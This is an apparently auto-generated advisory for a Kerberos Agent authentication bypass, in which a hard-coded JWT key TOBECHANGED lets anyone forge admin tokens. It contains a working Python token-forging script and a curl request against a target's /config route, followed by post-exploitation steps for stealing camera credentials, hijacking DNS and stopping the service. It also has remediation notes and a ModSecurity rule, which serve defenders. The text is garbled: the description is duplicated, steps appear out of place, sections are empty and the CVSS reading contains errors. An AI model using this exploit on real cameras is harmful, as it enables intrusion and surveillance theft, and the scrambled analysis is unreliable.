CVE-2026-135208 — Kerberos-io Kerberos Agent (3.14.4) — CWE-1394
Kerberos Agent before 3.14.4 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge administrator tokens because JWTMiddleWare() falls back to the hard-coded key TOBECHANGED. Attackers can sign HS256 tokens with arbitrary username and role claims to access /api and /config routes, exposing RTSP, ONVIF, Hub and encryption keys, rewriting configuration, and stopping the camera.
Kerberos Agent before 3.14.4 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge administrator tokens because JWTMiddleWare() falls back to the hard-coded key TOBECHANGED. Attackers can sign HS256 tokens with arbitrary username and role claims to access /api and /config routes, exposing RTSP, ONVIF, Hub and encryption keys, rewriting configuration, and stopping the camera.
🎯 What is this vulnerability?
This vulnerability is a Critical Authentication Bypass caused by a Hard-Coded Cryptographic Key and a Flawed Fallback Logic in the JWT (JSON Web Token) middleware.
Technical Flaw Analysis:
1. Hard-Coded Secret: The JWTMiddleWare() function in Kerberos Agent contains a fallback mechanism. If the system configuration does not provide a valid, unique signing key, it defaults to the static string TOBECHANGED.
2. Unauthenticated Token Forgery: Because the key is known (publicly disclosed in the CVE description and likely present in default installations or misconfigured instances), an unauthenticated attacker can generate valid HS256 (HMAC-SHA256) signed JWTs.
3. Privilege Escalation via Claims: The middleware trusts the username and role claims within the token without sufficient server-side validation against the user database or session store. An attacker can set role: "admin" and username: "root" in the payload, sign it with TOBECHANGED, and the server will accept it as a legitimate administrator session.
4. CWE-1394: This maps to Use of Default Credentials or Hard-Coded Credentials. The system fails to enforce a unique, random secret upon initialization, leaving the authentication layer effectively disabled for anyone who knows the default key.
CVSS Vector Interpretation (CVSS:4.0):
- AV:N / AC:L / AT:N / PR:N / UI:N: Network-exploitable, low complexity, no attack target interaction, no privileges required, no user interaction. This is a "one-shot" remote exploit.
- VC:H / VI:H / VA:H: High impact on Confidentiality, Integrity, and Availability of the primary scope (the camera/agent).
- SC:N / SI:N / SA:N: No impact on the sub-scope (e.g., no lateral movement to other systems via the token itself, though the exposed keys might allow it).
- Service Identification: The attacker scans for open ports associated with Kerberos Agent (commonly HTTP/HTTPS on port 80/443 or custom ports like 8080/8443).
- Version Fingerprinting: The attacker sends a request to a known endpoint (e.g.,
/api/versionor/config) or checks theServerheader. If the response indicates version< 3.14.4, the target is vulnerable. - Key Verification (Optional but likely): The attacker may attempt to sign a test token with
TOBECHANGEDand check if the API returns a200 OKor401 Unauthorized. A200confirms the hard-coded key is active. - Header:
{"alg": "HS256", "typ": "JWT"} - Payload:
{"username": "admin", "role": "administrator", "exp": <future_timestamp>} - Signature: HMAC-SHA256 of
base64url(header) + "." + base64url(payload)using the keyTOBECHANGED.
⚡ Attack Chain
1. Discovery & Reconnaissance
2. Exploitation
The attacker crafts a JWT with the following structure:Illustrative PoC (Python):
import jwt
import time
# Hard-coded key from CVE description
SECRET_KEY = "TOBECHANGED"
# Craft malicious payload
payload = {
"username": "admin",
"role": "administrator",
"exp": int(time.time()) + 3600 # Token valid for 1 hour
}
# Sign the token
token = jwt.encode(payload, SECRET_KEY, algorithm="HS256")
print(f"Forged Token: {token}")Exploitation Request (Illustrative Endpoint):
Note: The exact API route for configuration changes is not specified in the CVE description. The following uses /config as an illustrative example based on the description mentioning "rewriting configuration".
# Step 1: Generate Token (using the Python script above)
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE3MzI0NTY3ODl9.abc123def456ghi789jkl012mno345pqr678stu901"
# Step 2: Access Admin-Only Endpoint
curl -X GET "http://<TARGET_IP>/config" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json"3. Post-Exploitation
Once authenticated as an administrator: 1. Credential Exfiltration: The attacker retrieves/config or /api/keys to extract:
* RTSP credentials (for video stream access).
* ONVIF credentials (for PTZ control and metadata).
* Hub encryption keys (for decrypting stored video or communications).
2. Configuration Tampering:
* Rewrite DNS settings to point to attacker-controlled servers (DNS hijacking).
* Change NTP servers to manipulate timestamps.
* Disable security features (e.g., turn off TLS, disable audit logging).
3. Denial of Service:
* Issue a command to stop the camera service (/api/system/stop or similar).
* Overwrite critical configuration files with invalid data, causing the agent to crash or fail to restart.
4. Lateral Movement:
* Use extracted RTSP/ONVIF credentials to access other cameras on the same network.
* Use Hub encryption keys to decrypt traffic or access other connected devices.🌍 Real World Impact
🛡️ Remediation & Mitigation
1. Patching (Primary Mitigation)
JWTMiddleWare() no longer falls back to TOBECHANGED. Check the configuration file to ensure a unique, strong, randomly generated key is set.2. Workarounds (If Immediate Patching is Not Possible)
/config, /api) if the JWT payload contains role: "administrator" and the source IP is not in a trusted list.*
* ModSecurity Rule (Illustrative):SecRule REQUEST_HEADERS:Authorization "@rx Bearer\ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" \
"id:100001,phase:1,deny,status:403,msg:'Potential JWT Auth Bypass Attempt',log"Note: This rule is a heuristic. A more robust approach is to inspect the JWT payload for the specific hard-coded key usage if the WAF supports JWT decoding.
3. Detection & IoCs
200 OK responses to /config or /api endpoints from IPs that are not in the known administrator list.
* Monitor for JWTs with role: "administrator" that are signed with the key TOBECHANGED. This can be detected by decoding the JWT in a log analyzer and checking the signature.
config.json, settings.xml).
* Unexpected service restarts or stops.
* Unusual outbound connections from the Kerberos Agent to external IPs (indicating data exfiltration or C2 communication).
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query